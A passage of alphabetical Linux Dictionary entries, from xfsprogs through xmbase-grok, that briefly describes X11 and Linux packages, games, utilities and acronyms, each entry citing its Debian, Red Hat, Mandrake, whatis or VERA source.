Utilities for managing the XFS filesystem A set of commands to use the XFS filesystem, including mkfs.xfs. XFS is a high performance journaling filesystem which originated on the SGI IRIX platform. It is completely multi−threaded, can support large files and large filesystems, extended attributes, variable block sizes, is extent based, and makes extensive use of Btrees (directories, extents, free space) to aid both performance and scalability. Refer to the documentation at http://oss.sgi.com/projects/xfs/ for complete details. This implementation is on−disk compatible with the IRIX version of XFS. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xfsprogs−bf

A stripped−down versions of xfsprogs, for boot−floppies This package is an xfsprogs package built for a reduced size, so that it can help to save space on installation boot−floppies. Don't attempt to install this package, it has no support for a couple of features you surely want. Anyway it should refuse to install. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xfstt

TrueType Font Server for X11 xfstt means "X11 Font Server for TT fonts". TT fonts are generally regarded to be the best scalable fonts for displays. Applications needing scalable fonts that are to be displayed on a screen benefit most. This server will allow X11 applications to use the exact same fonts as the TrueType fonts used on most Windows Machines. NB: This package contains NO FONTS. They MUST be obtained separately From Debian 3.0r0 APT

http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Xft

Xft is a font rendering library for X. From Redhat 8.0 RPM
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xftcache

create an index of FreeType font files in a directory From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xftp

Athena X interface to ftp. xftp is a X ftp interface. It allows retrieval or transmission of selected files and directory trees. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xfwp

X firewall proxy server The X firewall proxy is an application layer gateway proxy that may be run on a network firewall host to forward X traffic across the firewall. Used in conjunction with the X server Security extension and authorization checking, xfwp constitutes a safe, simple, and reliable mechanism both to hide the addresses of X servers located on an intranet and to enforce a server connection policy. Xfwp cannot protect against mischief originating on an intranet; however, when properly configured it can guarantee that only trusted clients originating on authorized external Internet hosts will be allowed inbound access to local X servers. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XG

eXtended General MIDI (Yamaha, MIDI) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XGA

eXtended Graphics Adapter (IBM, PS/2) From VERA
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xgalaga

X11 version of the famous Galaga game A clone of the classic game Galaga for the X Window System. Xgalaga is a space−invader like game with additional features to produce a more interesting game. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xgamma

Alter a monitor's gamma correction for XFree86 From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xgammon

Implementation of backgammon under X. This a nicely implemented backgammon with the following features: − X11/Xaw interface, − a simple file selector and saving dialog, − You can edit positions and perform rollouts. − Position dump to a mail file in the format used in backgammon newsgroups. − Easier movement of stones, by simple button clicks. − You can play against an opponent on a remote X−Terminal. (experimental). From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xgc

X graphics demo From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xgdipc

GnuDIP GTK client A graphical (GTK−based) client for updating your GnuDIP settings From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xgdvi

a TeX DVI previewer for X, with a nice GTK+ UI xgdvi is a TeX DVI(DeVice Independent) file previewer for the X Window System. xgdvi features a cool GTK+ frontend, and since it uses DVIlib as its kernel, xgdvi can handle EPS figures and Japanese DVI files. Anti−aliasing is also supported. This is a part of the TeX−Guy distribution. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xgettext

extract translatable string from given input files From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xgmod

GUI based module player for Ultrasound and SB AWE soundcards XGmod plays MOD/669/MTM/S3M/ULT/XM modules on machines that have an Gravis Ultrasound family sound card or a Soundblaster AWE. This version has a X interface that depends on Qt. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xgospel

an Internet Go client xgospel is a client for playing the game of Go (Weiqi, Baduk) on the Internet Go Server (IGS). Unfortunately, it is somewhat lacking with respect to connecting to other Go servers on the internet, playing Go between two computers, or editing SGF files. You should probably install cgoban for these purposes. However, if you intend to play on IGS frequently, xgospel is the perfect choice for you. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xgraph

Plotting program, reads stdin, allows interactive zooming Accepts data files or stdin in a form similar to the unix program graph and displays line graphs, scatter plots, or bar charts on an X11 display. Fully annotated with title, axis numbering and labels, and legend. Zooming with the mouse is supported. Can generate hardcopy output to Postscript printers and HPGL plotters. Output can be directly pasted into idraw (drawtool) for further annotation. Particularly useful in shell scripts. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xhangglider

hanggliders fly around in your X root window. xhangglider is a demo program for X. Hanggliders and paragliders fly around in your X root window. Enjoy! From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xhost

server access control program for X From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XHTML

eXtended HyperText Markup Language (HTML, WWW) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XHTML (extensible Hyper Text Markup Language)

An enhanced version of HTML that supports programmer−defined extensions like XML. From I−gloss http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XID

[SNA] eXchange IDentifier (SNA) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XIE

X Image Extension (X−Windows) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xieperf

XIE server extension test and demo program From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

ximian−setup−tools

Cross−platform configuration utilities. The Ximian Setup Tools are a set of cross−platform configuration utilities for Linux and other Unices. Internally they are divided in frontends and backends. The frontend knows nothing about the underlying system and provides the same user interface across the different types of systems. The backend knows how to read and write configuration information. The Ximian Setup Tools do not impose a new database on the system, they work with the default configuration files so that configuration can still be done by hand or by other tools. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xine−dvdnav

xine DVD plugin that is capable of Menus and special features This plugin will eventually be able to play all special features that can be found on DVDs. Currently, it works with most DVDs. Features include: * DVD menus * correctly coloured subtitles * named subtitles and audio channels * forced subtitles (can be overridden) * Copyright warnings From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xine−plugins

xine is a free gpl−licensed video player for unix−like systems. This package includes the main plugins for xine, they allow the input from files, Video CDs, network streams and (not encrypted) DVDs inseveral video formats. For additional plugins (support for DVDsprotected by CSS or for non free codecs) you could try the packages from the Penguin Liberation Front home page:http://plf.zarb.org That page is not connected to MandrakeSoft. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xine−ui

the xine video player, user interface This is an X11 based GUI for the libxine video player library. It provides xine, a skin based media player that can play all the audio/video formats that libxine supports. Currently, this includes MPEG1/2, some AVI and Quicktime files, some network streaming methods and disc based media (VCD, SVCD, DVD). A more complete list can be found on http://xine.sf.net/. This package contains an additional front end, aaxine, which runs even on the console. aaxine uses aalib to render ASCII art video, or you can tell it to use a framebuffer device. This is more a proof of concept, but you can use it to watch DVDs on your old vt100 terminal, of course. ;−) Most DVDs on the market today are play−protected by the Content Scrambling System (CSS). Xine does not provide any code to descramble those DVDs, because of legal uncertainties. Have a look at /usr/share/doc/xine−ui/README.Debian for more information! From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xine−ui

xine is a free GPL−licensed video player for UNIX−like systems. User interface for the X Window system. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xinetd

replacement for inetd with many enhancements xinetd has access control mechanisms, extensive logging capabilities, the ability to make services available based on time, and can place limits on the number of servers that can be started, among other things. It has the ability to redirect TCP streams to a remote host and port. This is useful for those of that use ip masquerading, or NAT, and want to be able to reach your internal hosts. It also has the ability to bind specific services to specific interfaces. This is useful when you want to make services available for your internal network, but not the rest of the world. Or to have a different service running on the same port, but different interfaces. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xinetd

Xinetd is a secure replacement for inetd, the Internet services daemon. Xinetd provides access control for all services based on the address of the remote host and/or on time of access and can prevent denial−of−access attacks. Xinetd provides extensive logging, has no limit on the number of server arguments, and lets you bind specific services to specific IP addresses on your host machine. Each service has its own specific configuration file for Xinetd; the files a relocated in the /etc/xinetd.d directory. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xinit

X Window System initializer From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xinitrc

The xinitrc package contains the xinitrc file, a script which is used to configure your X Window System session or to start a window manager. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xinput
: Runtime configuration and test of XInput devices. Runtime configuration and test of XInput devices. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XInput extension
: a standard X extension. The goal of this extension is to allow additional input devices management to the X Window System. From Linux Guide @FirstLinux http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XINU
: XINU Is Not Unix (OS) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xinv3d
: 3D space invaders for X XInvaders 3D is a 3D vector−based space−invaders clone for the X Window System. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XIOS
: eXtended Input/Output System (Novell, Netware) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xipmsg
: A pop up style message communication software IP Messenger is a pop up style message communication software for multi platforms. It is based on TCP/IP(UDP). Xipmsg is the X11 version of IP Messenger. It can communicate with IP Messengers for Windows/MacOS. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xisdnload
: The xisdnload utility displays a periodically updated histogram of theload average over your ISDN connection. From Redhat 8.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xitalk
: Talk intercept utility for X xitalk logs you in on a pseudo terminal. If you then disable messages in all your xterms, xitalk will receive all talk requests/ writes. It can then start a [y]talk session, play a sound, etc. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xiterm+thai
: x−terminal program with Thai languague support xiterm+thai is an x−terminal−emulator program with Thai language support. It has built−in Thai keyboard input support. You could also use X11 XKB extension to input Thai character. Thai font is needed to display Thai character. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xjed
: Editor for programmers. (x11 version) Jed offers: Extensible in a language resembling C. Completely customizable. Capable of read GNU info files from within JED's info browser. A variety of programming modes (with syntax highlighting) are available including Pascal, Java, Perl, C, C++, FORTRAN, TeX, HTML, SH, IDL, DCL, NROFF, PostScript, Basic. Folding support. Edit TeX files with AUC−TeX style editing (BiBTeX support too). Rectangular cut/paste; regular expressions; incremental searches; search replace across multiple files; multiple windows; multiple buffers; shell modes; directory editor (dired); mail; rmail; ispell; and much more. Note: The SLang runtime files are now in the package jed−commono. The source of these files are in jed−sl. Note: In this version, C−h deletes the previous character instead of loading the help menu. Help is now on Esc−?. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xjewel
: match colors on falling columns of blocks Jewel Box is a falling−pieces game like Tetris, only jewels are removed from the board if three or more of the same jewel lie in a straight line. Interesting cascade−like effects can be achieved when the removal of jewels causes another set of jewels to line up. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xjig
: An X11 jigsaw puzzle xjig is a puzzle that tries to replicate a jigsaw puzzle on the screen as closely as possible. Any GIF image may be loaded and cut into pieces. The goal (as with any jigsaw puzzle) is

to reassemble the original picture. Tiles may be freely rotated by use of the mouse, flipped (for double−sided puzzles) and even shown as shaped windows on the desktop (fast machine/video card recommended for the latter!). An example image is provided in /usr/lib/games/xjig . From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xjokes

X11 jokes xjokes contains 4 jokes. yasiti, blackhole, mori1, and mori2. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xjove

X11−Frontend for jove − a compact, powerful editor. This is the X11−Frontend for jove. Jove is a compact, powerful Emacs−style text−editor. It provides the common emacs keyboard bindings, together with a reasonable assortment of the most popular advanced features (e.g. interactive shell windows, compile−it, language specific modes) while weighing in with CPU, memory, and disk requirements comparable to vi(1). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xjump

A jumping game for X. A jumping game for X. The way to play this game is very simple, but nice game. What you do in this game is only to jump, jump and jump up above. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xkbcomp

compile XKB keyboard description From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xkbevd

XKB event daemon From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xkbprint

print an XKB keyboard description From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xkbsel

Tool for defining, selecting, and indicating XKB keyboards. xkbsel is a framework for defining, selecting, and indicating XKB keyboard mappings, without the need to modify X11 distribution in any way. This package contains the xkbsel basic files and binaries, including the Athena keyboard switching applet. Homepage: http://www.penguin.cz/~stano/sk/xkbsel.html From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xkbsel−gnome

Tool for defining, selecting, and indicating XKB keyboards. xkbsel is a framework for defining, selecting, and indicating XKB keyboard mappings, without the need to modify X11 distribution in any way. This package contains the Gnome keyboard switching applet. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xkeycaps

Manipulate X keymaps (for xmodmap) graphically. xkeycaps is a graphical front−end to xmodmap(1). It opens a window that looks like a keyboard; moving the mouse over a key shows what KeySyms and Modifier bits that key generates. Clicking on a key simulates KeyPress/KeyRelease events on the window of your choice. It is possible to change the KeySyms and Modifiers generated by a key through a mouse−based interface. This program can also write an input file for xmodmap to recreate your changes in future sessions. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xkeysw

a keyboard layout switch for the X Window System. Its main features are: − Per−window switching. You can have different layouts in different windows. − Unlimited number of layouts. − Flexible switching. Any layout can have its own "hot keys" for switching to other layouts. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xkill

kill a client by its X resource From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xklitze

cuddly teddy bear for your X Windows desktop. From whatis
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xkobo

a game of space battle Destroy all the fortresses and avoid the many enemy ships to advance to the next level in this game of space battle. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xlaby

Collect four items from an xmaze using the mouse to move. xlaby traps your mouse cursor in one of the mazes generated by "maze", you must move around until you collect all four objects − invisible walls are an option! From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xlander

a lunar landing simulation for X The object is to successfully land the craft on the surface of the moon or some other planet. The program features "out−the−window" 3−d wire−frame graphics and full directional control of the lander. For further instructions, please, refer to the man page. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xlassie

Dockable mail notifier w/ message count & POP3/APOP/IMAP support Enhanced pending mail notifier. Displays the number of waiting messages. Supports local mail spool and POP3/APOP3/IMAP mail servers. Can run a command when clicked upon. Uses plain xlib, so memory footprint is tiny. Can operate as plain app or WindowMaker/KDE dock applet From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xlbiff

X Literate Biff. Displays Froms and Subjects of your new mail Xlbiff lurks in the background, monitoring your mailbox file (normally /usr/spool/mail/<yourusername>). When something shows up there, it invokes the MH scan(1) command and displays the output in a window. If more mail comes in, it scans again and resizes accordingly. Clicking the left mouse button anywhere in the window causes it to vanish. It will also vanish if you inc(1) and the mailbox becomes empty. Xlbiff is modeled after xconsole −− its job is to sit invisibly and pop up only when something demands your attention. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xlc

Gtk client for linesrv xlc is a Gtk client for linesrv. It let a user to start or stop an internet connection on a masquerader server. It allows to monitor the connection status and to shutdown the box where the server is running From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xless

A file browsing tool for the X Window System xless allows you to view information in an X window. It allows filename(s) arguments, or input via STDIN. It can print the current buffer and do regular expression searches. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xletters

Type falling words before they land A typing practice game for X similar to typespeed and tuxtype. Words chosen from the system's wordlist fall from the top of the screen and must be typed correctly to score. In a challenge stage, random sequences of characters appear instead of words. Head−to−head networked play is possible with xletters−duel. From Debian 3.0r0 APT
http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xlhtml

A program for converting Microsoft Excel Files .xls The xlhtml program will take an Excel 95, or 97 file as input and convert it to highly optimized html. The output is via standard out so it can be re−directed to files or piped to filters or used as a gateway on the internet. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xli

view images under X11 Can view the following image types under X11: FBM Image, Sun Rasterfile, CMU WM Raster, Portable Bit Map (PBM, PGM, PPM), Portable Network Graphics (PNG), Faces Project, GIF Image, JFIF style jpeg Image, Utah RLE Image, Windows, OS/2 RLE Image, Photograph on CD Image, X Window Dump, Targa Image, McIDAS areafile, G3 FAX Image, PC Paintbrush Image, GEM Bit Image, MacPaint Image, X Pixmap, X Bitmap. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xlib6

shared libraries required by libc5 X clients The X libraries are the interface between X client programs and the hardware−oriented X servers, and consist of routines to read input from the keyboard and pointer, draw on the screen, etc., in an abstract manner that is independent of the particular characteristics of the hardware. The X libraries communicate with X servers by means of the X protocol. Xlib itself provides the low−level functionality; Xt, the X Toolkit Intrinsics, is often used as a foundation for widget libraries such as Lesstif or Athena. Xaw, the Athena widget set, provides a rudimentary set of graphical user−interface elements (buttons, scrollbars, text boxes, etc.). Several more libraries are provided to implement the functions of various X extensions. X clients compiled against libc5 require that the X libraries be compiled against libc5 as well. xlib6 provides such backward compatibility. To avoid redundancy, this package depends on the current version of the X library packages for various non−binary files used by the X libraries (bitmaps, locale data, etc.). From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xlibmesa3

XFree86 version of Mesa 3D graphics library Mesa is a 3D graphics library which presents an API intended to be compatible with OpenGL. XFree86 maintains its own version of the Mesa library (which is regularly resynchronized with the official one) to permit development of the XFree86 X server's Direct Rendering Infrastructure (DRI), which makes the 3D acceleration features of many modern video cards available to X client programmers. Chipset−specific DRI modules, if available for your machine architecture, are provided in this package. (Unlike the modules in the xserver−xfree86 package, the DRI modules are loaded by the Mesa library, not by the X server itself.) From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xlibosmesa3

Mesa/XFree86 off−screen rendering library Mesa is a 3D graphics library which presents an API intended to be compatible with OpenGL. XFree86 maintains its own version of the Mesa library (which is regularly resynchronized with the official one) to permit development of the XFree86 X server's Direct Rendering Infrastructure (DRI), which makes the 3D acceleration features of many modern video cards available to X client programmers. The off−screen rendering library (OSMesa) is an extension to Mesa, not an implementation of any OpenGL standard; therefore, it is packaged separately, so that any OpenGL−conformant library may be installed on a Debian system, and OpenGL−based programs may depend on any of them. The OSMesa library, however, specifically depends on the Mesa library. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xlibosmesa3−dbg

Mesa/XFree86 off−screen rendering library (unstripped) This package is useful to provide a backtrace with symbol names in a debugger; this facilitates interpretation of core dumps, and aids in finding logic errors in programs using this library (or the library itself). The library is installed in /usr/lib/debug and can be used by placing that directory in the LD_LIBRARY_PATH environment variable when the code to be debugged is executed. Non−programmers will likely have little use for this package. See the xlibosmesa3 package for further information. From Debian 3.0r0 APT

http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xlibs

X Window System client libraries The X libraries are an interface between X client programs and the hardware−oriented X servers, and consist of routines to read input from the keyboard and pointer, draw on the screen, etc., in an abstract manner that is independent of the particular characteristics of the hardware. The X libraries, and the programs that use them, communicate with X servers by means of the X protocol. libX11 (a.k.a. Xlib) provides the low−level functionality, dealing mostly with the wire protocol and in terms of basic operations such as opening and closing the X protocol connection, creating graphics contexts, drawing graphics primitives such as lines, arcs, and glyphs, handling events, and so forth. libXpm, the X pixmap library, is a set of routines used to store and retrieve X pixmaps (a data structure comprising a rectangular array of pixels) from files; the xpm file format is an extension of the monochrome bitmap file format in the X11 specification. (Traditionally, libXpm was maintained and distributed separately from the X Window System, but XFree86 has absorbed this library). libXt, the X Toolkit Intrinsics, is an abstract widget library upon which graphical widget libraries (such as Athena and LessTif) may be developed; the Intrinsics provide a number of useful interfaces to X conventions and protocols, in many cases reducing a long series of Xlib calls to just a couple of Xt calls. libXmu is a set of miscellaneous utility functions useful to client programmers. libXmuu is a very small set of miscellaneous utility functions extracted from Xmu, Xt, and Xaw, for clients that need the occasional useful function from these libraries but do not require the toolkit overhead. To use libXmuu, simply include the headers for the other libraries in the client and link against Xmuu instead of Xmu, Xt, and Xaw. Needless to say, if the client uses functions from Xmu, Xt, or Xaw that are not present in Xmuu, it will fail to link. The remainder of the libraries in this package implement the client side of various X protocol extensions: − libICE, the Inter−Client Exchange extension; − libPEX5, PEX, a 3D graphics extension now superseded by Mesa/OpenGL; − libSM, the Session Management extension; − libXIE, the X Image Extension; − libXext, a collection of several commonly−used extensions; − libXft, a FreeType−based font rendering extension; − libXi, the X Input extension; − libXp, the X Printing extension; and − libXrender, an extension for digital image composition; − libXtst, the X Testing extension. xlibs also contains the XKB keyboard parameter files, locale data, and a set of bitmap and pixmap image files commonly used by X clients. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xlife

John Conway's Game of Life, for X11 This is an X11 implementation of "Life", a classic cellular automaton. Many example cell arrangements are provided. You can also create and save your own. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XLINK

XML LINKing language (XML) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xlispstat

a lisp−based environment for statistical computing xlispstat is an environment for statistical computing and interactive graphics. It was developed by Luke Tierney <luke@stat.umn.edu> from David Betz's xlisp interpreter. The system is documented in Tierney's 1990 book, "LISP−STAT: An Object−oriented Environment for Statistical Computing and Dynamic Graphics" published by Wiley. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xload

system load average display for X From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xloadimage

Graphics file viewer under X11 Can view png, jpeg, gif, tiff, niff, sunraster, fbm, cmuraster, pbm, faces, rle, xwd, vff, mcidas, vicar, pcx, gem, macpaint, xpm and xbm files. Can view images, put them on the root window, or dump them. Does a variety of processing, including: clipping, dithering, depth reduction, zoom, brightening/darkening and merging. Includes xsetbg, xview and uufilter. From

Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xlockmore
: Lock X11 display until password is entered. xlock locks the X server till the user enters his/her password at the keyboard. While xlock is running, all new server connections are refused. The mouse cursor is turned off. The screen is blanked and a changing pattern is put on the screen. If a key or a mouse button is pressed then the user is prompted for the password of the user who started xlock. This version is built without additional OpenGL/MesaGL and XPM modes. The companion package xlockmore−gl contains them. This is the only difference between the two packages. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xlockmore
: The xlockmore utility is an enhanced version of the standard xlockprogram, which allows you to lock an X session so that other users can't access it. Xlockmore runs a provided screensaver until you type in your password. Install the xlockmore package if you need a locking program to secure X sessions. From Mandrake 9.0 RPM http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xlockmore−gl
: Lock X11 display until password is entered −− GL version xlock locks the X server till the user enters his/her password at the keyboard. While xlock is running, all new server connections are refused. The mouse cursor is turned off. The screen is blanked and a changing pattern is put on the screen. If a key or a mouse button is pressed then the user is prompted for the password of the user who started xlock. This version is built with additional OpenGL/MesaGL and XPM modes. The companion package xlockmore does not contain them. This is the only difference between the two packages. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xlog
: GTK+ Logging program for Shortwave Hamradio Operators xlog is a logging program for amateur radio operators. xlog focuses on hams who operate shortwave on a daily basis. Logs are stored into a text file. QSO's are presented in a list. Items in the list can be added, deleted or updated. For each contact, dxcc information is displayed and bearings and distance is calculated, both short and long path. When hamlib is enabled through the menu, you can retrieve frequency, mode and signal−strength from you rig over the serial port. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xlogmaster
: A program to monitor logfiles Xlogmaster can monitor an almost infinite number of logfiles and all devices that can be read via "cat" like the /proc ones. On a regular expression base, you can hide, raise or lower lines in the logfile and set triggers, which can launch scripts or pop−up a window xlogmaster homepage is at http://www.gnu.org/software/xlogmaster/xlogmaster.html From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xlogo
: X Window System logo From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xlsatoms
: list interned atoms defined on server From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xlsclients
: list client applications running on a display From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xlsfonts
: server font list displayer for X From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xm−tool
: Tool to generate docs for PFE This tool is used to generate the HTML documenation for the portable forth environment (PFE) from source. It is not needed by users of PFE. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmabacus

Simulation of the ancient oriental calculator This is the motif version by David Bagley. It was compiled with lesstif. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmaddressbook

X−based address book XmAddressbook is a X−based Address Book program. It can convert the old rolo program's rolodex.dat files into its own format. NOTE: This used to be called XmRolodex. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmag

magnify parts of the screen From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmahjongg

tile−based solitaire game Xmahjongg is a simple solitaire game. The object is to remove all 144 Mah Jongg tiles from the playing area by matching them two at a time. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmailbox

A version of xbiff with animation and sound effects. It displays an icon, which changes when mail comes in. Normally this involves checking the size of a file, but it can be set to run an arbitrary command to do it, so you can check mail stored on another system. By default it is set to do a colour, shaped, but non−animated, icon: this is apparently possible with xbiff if you tweak the resources. By tweaking the resources of xmailbox you can get animated icons. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmake

Powerful project making make program XMAKE is similar to other make's out there, but is specifically designed to allow you to easily construct multiple complex dependencies without getting screwed by default rulesets. XMake contains a number of features specifically designed to trivialize the construction of compilation rules. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmakemol

A program for visualizing atomic and molecular systems XMakemol is a mouse−based program, written using the LessTif widget set, for viewing and manipulating atomic and other chemical systems. It reads XYZ input and renders atoms, bonds and hydrogen bonds. Features include: − Animating multiple frame files − Interactive measurement of bond lengths, bond angles and torsion angles − Control over atom/bond sizes − Exporting to Xpm, Encapsulated PostScript and XYZ formats − Toggling the visibility of groups of atoms − Editing the positions of subsets of atoms From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmakemol−gl

A program for visualizing atomic and molecular systems XMakemol is a mouse−based program, written using the LessTif widget set, for viewing and manipulating atomic and other chemical systems. It reads XYZ input and renders atoms, bonds and hydrogen bonds. Features include: − Animating multiple frame files − Interactive measurement of bond lengths, bond angles and torsion angles − Control over atom/bond sizes − Exporting to Xpm, Encapsulated PostScript and XYZ formats − Toggling the visibility of groups of atoms − Editing the positions of subsets of atoms This is the OpenGL−enabled XMakemol package. The images are rendered using true 3D graphics primitives, and can be exported using the Xpm format; red/blue stereo images can also be produced. The OpenGL package provides more display options, along with better support for displaying vectors. Ellipses can also be rendered. From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xman

Manual page display program for the X Window System From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

XMAPI

eXtended Messaging Application Program Interface (API) From VERA http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

Xmark

summarize x11perf results From whatis http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmbase−grok

Graphical Resource Organizer Kit xmbase−grok, formerly just called "grok", is a simple database manager and UI builder that can − * keep phone and address lists (like a rolodex) * store phone call logs * keep todo lists * manage any other database after simple GUI−driven customization * customized data export, HTML export built in More precisely, grok is a program for displaying and editing strings arranged in a grid of rows and columns. Each row is presented as a "card" consisting of multiple columns, or "fields", that allow data entry. The presentation of the data is programmable; a user interface builder that allows the user to arrange fields on a card graphically is part of grok. Grok also supports a simple language that allows sophisticated queries and data retrieval. Grok comes with the above examples and a few others as pre−built applications. Grok is not a general−purpose database program. It was designed for small applications typical for desktop accessories. If you attempt to run your major airline reservation system or your space shuttle project with it, you are guaranteed to be disappointed. By Thomas Driemeyer <thomas@bitrot.in−berlin.de> From Debian 3.0r0 APT http://www.tldp.org/LDP/Linux−Dictionary/html/index.html

xmbdfed

